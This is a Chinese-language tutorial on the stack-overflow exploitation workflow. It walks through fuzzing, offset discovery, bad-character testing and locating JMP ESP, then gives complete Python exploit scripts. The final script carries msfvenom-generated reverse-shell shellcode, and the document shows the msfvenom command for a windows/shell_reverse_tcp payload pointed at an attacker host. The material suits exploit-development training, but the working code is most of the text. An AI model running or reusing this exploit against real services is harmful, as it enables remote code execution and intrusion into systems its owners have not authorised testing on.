栈溢出漏洞利用流程—

0x1 缓冲区溢出漏洞攻击简介

缓冲区溢出攻击是针对程序设计缺陷，向程序输入缓冲区写入使之溢出的内容（通常是超过缓冲区能保存的最大数据量的数据），从而破坏程序的堆栈，使程序转而执行其他指令，以达到攻击的目的。

缓冲区溢出中，最为危险的是堆栈溢出，因为入侵者可以利用堆栈溢出，在函数返回时改变返回程序的地址，让其跳转到任意地址，带来的危害一种是程序崩溃导致拒绝服务，另外一种就是跳转并且执行一段恶意代码，比如得到系统权限等。

不稳定的程序行为；
系统崩溃；
内存访问错误；
代码覆盖；
未授权的数据访问；
临时特权行为；
数据盗窃和数据丢失。

0x2 栈溢出漏洞利用流程综述

1. Fuzzing

编写Fuzzing脚本，探测栈溢出崩溃所需要的数据长度。

import sys

import socket

buf = ['A']

count = 100

while len(buf) <= 20:            # 创建一个长度30的列表，列表中每个元素作为要发送的字符串

    buf.append('A'*count)

    count += 200

for a in buf:

    print('fuzzing %s bytes' % len(a))   # 为了找到使vulnserver崩溃的字符串长度

    s = socket.socket()

    c = s.connect(('192.168.43.129',9999))

    s.send(('TRUN /:./' + a))

    s.close()

探测脚本长度以20为一个单位，循环发送，发现长度为800时程序崩溃。

2. 找到偏移量offset

利用之前测得的800作为随机字符串长度，生成随机字符串用于计算具体偏移量。

计算偏移量的方法有两种：

方法1：

root@kali:~#msf-pattern_offset.rb -l 800 -q 386F4337 // 该地址和发送的字符串长度用于计算出offset

方法2：

!mona findmsp  // 效果同上，此时使用mona要在vulnserver被打崩而暂停的时候，才能找到offset

修改fuzzing脚本，将产生的随机字符串替换重复的‘A’。

import sys

import socket

shellcode = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3A'

print('fuzzing %s bytes' % len(shellcode))

s = socket.socket()

c = s.connect(('192.168.43.129',9999))

s.send(('TRUN /:./' + shellcode))

s.close()

在服务端用Immunity Debugger监控程序，程序继续崩溃，找到对应的EIP存储的内容为[0x42306142]

（EIP寄存器，用来存储CPU要读取指令的地址，CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后，EIP寄存器的值就会增加。）

方法一：

root@kali:~#msf-pattern_offset.rb -l 800 -q 42306142 // 该EIP被覆盖的地址地址和发送的字符串长度用于计算出offset

方法二：

!mona findmsp  // 效果同上，此时使用mona要在vulnserver被打崩而暂停的时候，才能找到offset

得到EIP的offset偏移量为780，ESP位788

3. 覆盖EIP

再次修改fuzzing脚本的shellcode，

shellcode = 'A' * 780 + 'Y' * 4

以上操作的目的是为了找到数据空间的EIP寄存器地址，EIP寄存器指向，我们需要将它修改为JMP ESP，以便吧程序控制劫持到ESP处，ESP是栈顶寄存器，

JMP ESP的opcode（OpCode 操作码：描述机器语言指令中,指令要执行某种操作的机器码）十六进制为\xff\xe4。

shellcode =  'A'*780 + '\xaf\x11\x50\x62' + '\x90'*32 + exp

// exp即为msfvenom生成的十六进制，在python脚本中要记得用括号将其括起来，不然会用不了，"\x90"为NOP，即什么也不操作，给exp留出一定的空间

4. 找坏字符

一般来说shellcode的总长度都非常短，所以可以直接采用汇编形式编写，这样不但可以直接通过软中断形式执行系统调用，而且可以控制坏字符的出现。在执行shellcode时，为了保证所有的代码都能正常执行，需要去掉那些无效的字符，这些字符被称为坏字符，典型的坏字符比如\x00。

我们将payload用0x01到0xff共256个16进制数值填充，并反复排查坏字符，知道所有16进制数值都被填充进缓冲区。代码如下：

#!/usr/bin/python

import socket

#"0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, and 0x3D"

#"\x00\x0a\x0d\x25\x26\x2b\x3d"

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"

            "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

            "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"

            "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

            "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"

            "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

            "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"

            "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"

            "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"

            "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"

            "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"

            "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"

            "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"

            "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"

            "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"

            "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

try:

    print "\nSending evil buffer..."

    filler = "A"*780

    eip = "B"*4

    offset = "C"*4

    inputBuffer = filler + eip + offset + badchars

    content = "username=" + inputBuffer + "&password=A"

    buffer = "POST /login HTTP/1.1\r\n"

    buffer += "Host: 127.0.0.1\r\n"

    buffer += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\n"

    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"

    buffer += "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n"

    buffer += "Referer: http://127.0.0.1/login\r\n"

    buffer += "Connection: close\r\n"

    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"

    buffer += "Content-Length: " +str(len(content))+"\r\n"

    buffer += "\r\n"

    buffer += content

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("127.0.0.1",80))

    s.send(buffer)

    s.close()

    print "\nDone!"

except Exception as e:

    print "Could not connect!"

    print e

发送完后，在immunity debugger右键ESP，选择follow in dump后查看内存中的这段buffer的值。发现0x0A没有显示，说明它是个坏字符。在脚本里删除0x0A后继续重复这个动作，直到找到所有坏字符。最终坏字符为：0x00,0x0A,0x0D,0x25,0x26,0x3D。

修改shellcode，避免坏字符：

msfvenom -p windows/shell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -fc -b '\x00\x0A\x0D\x25\x26\x3d'

5. 定位JMP ESP的可靠内存地址

为了执行堆栈溢出，必须指出 ESP 地址。然后使用 JMP ESP地址覆盖返回地址并执行代码。

选择JMP ESP的地址需要满足两个条件：

lib库必须是静态库，避免ASLR（地址空间随机加载，一种防范内存损坏漏洞利用的技术）的影响，在任何程序加载它时，它使用固定的地址。
地址不包含坏字符，因为地址本身也会成为请求buffer的一部分。

shellcode可以存放在ESP地址所指向的内存空间。因此，需要吧EIP的值覆盖为JMP ESP这条指令所对应的opcode 0xFFE4。

通过 immunity Debuger我们可以找到所加载的lib库的内存地址，从里面挑选满足以上两个要求的，我们选择了libspp.dll文件。使用!mona find -s "\xff\xe4" -m "libspp.dll" 得到JMP ESP的目标地址0x10090c83。

0x10090c83是一段内存地址，当它作为值写进内存，0x10将会放在高地址，0x83放在低地址，当它被CPU读取到EIP寄存器，CPU先读到0x83,最终读取的地址是反向的。

所以我们应该反向的存储返回地址。当内存地址作为参数传入给寄存器的时候，要逆序传入。

eip = "\x83\x0c\x09\x10"

6. exploit

生成新的shellcode之后，使用10个NOP（0X90）来规避解码器带来的栈顶附近的内存改写。

代码如下：

#!/usr/bin/python

import socket

try:

    print "\nSending evil buffer..."

    shellcode = ("\xdd\xc1\xbb\x6b\x94\x1e\xe1\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"

"\x52\x31\x5d\x17\x83\xc5\x04\x03\x36\x87\xfc\x14\x34\x4f\x82"

"\xd7\xc4\x90\xe3\x5e\x21\xa1\x23\x04\x22\x92\x93\x4e\x66\x1f"

"\x5f\x02\x92\x94\x2d\x8b\x95\x1d\x9b\xed\x98\x9e\xb0\xce\xbb"

"\x1c\xcb\x02\x1b\x1c\x04\x57\x5a\x59\x79\x9a\x0e\x32\xf5\x09"

"\xbe\x37\x43\x92\x35\x0b\x45\x92\xaa\xdc\x64\xb3\x7d\x56\x3f"

"\x13\x7c\xbb\x4b\x1a\x66\xd8\x76\xd4\x1d\x2a\x0c\xe7\xf7\x62"

"\xed\x44\x36\x4b\x1c\x94\x7f\x6c\xff\xe3\x89\x8e\x82\xf3\x4e"

"\xec\x58\x71\x54\x56\x2a\x21\xb0\x66\xff\xb4\x33\x64\xb4\xb3"

"\x1b\x69\x4b\x17\x10\x95\xc0\x96\xf6\x1f\x92\xbc\xd2\x44\x40"

"\xdc\x43\x21\x27\xe1\x93\x8a\x98\x47\xd8\x27\xcc\xf5\x83\x2f"

"\x21\x34\x3b\xb0\x2d\x4f\x48\x82\xf2\xfb\xc6\xae\x7b\x22\x11"

"\xd0\x51\x92\x8d\x2f\x5a\xe3\x84\xeb\x0e\xb3\xbe\xda\x2e\x58"

"\x3e\xe2\xfa\xcf\x6e\x4c\x55\xb0\xde\x2c\x05\x58\x34\xa3\x7a"

"\x78\x37\x69\x13\x13\xc2\xfa\xdc\x4c\x8f\x6e\xb4\x8e\x0f\x8e"

"\xfe\x06\xe9\xfa\x10\x4f\xa2\x92\x89\xca\x38\x02\x55\xc1\x45"

"\x04\xdd\xe6\xba\xcb\x16\x82\xa8\xbc\xd6\xd9\x92\x6b\xe8\xf7"

"\xba\xf0\x7b\x9c\x3a\x7e\x60\x0b\x6d\xd7\x56\x42\xfb\xc5\xc1"

"\xfc\x19\x14\x97\xc7\x99\xc3\x64\xc9\x20\x81\xd1\xed\x32\x5f"

"\xd9\xa9\x66\x0f\x8c\x67\xd0\xe9\x66\xc6\x8a\xa3\xd5\x80\x5a"

"\x35\x16\x13\x1c\x3a\x73\xe5\xc0\x8b\x2a\xb0\xff\x24\xbb\x34"

"\x78\x59\x5b\xba\x53\xd9\x7b\x59\x71\x14\x14\xc4\x10\x95\x79"

"\xf7\xcf\xda\x87\x74\xe5\xa2\x73\x64\x8c\xa7\x38\x22\x7d\xda"

"\x51\xc7\x81\x49\x51\xc2")

    size = 800

    filler = "A"*780

    eip = "\x83\x0c\x09\x10"

    offset = "C"*4

    nops = "\x90"*10

    inputBuffer = filler + eip + offset + nops + shellcode

    content = "username=" + inputBuffer + "&password=A"

    buffer = "POST /login HTTP/1.1\r\n"

    buffer += "Host: 192.168.67.150\r\n"

    buffer += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\n"

    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"

    buffer += "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n"

    buffer += "Referer: http://192.168.67.150/login\r\n"

    buffer += "Connection: close\r\n"

    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"

    buffer += "Content-Length: " +str(len(content))+"\r\n"

    buffer += "\r\n"

    buffer += content

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("192.168.67.150",80))

    s.send(buffer)

    s.close()

    print "\nDone!"

except Exception as e:

    print "Could not connect!"

    print e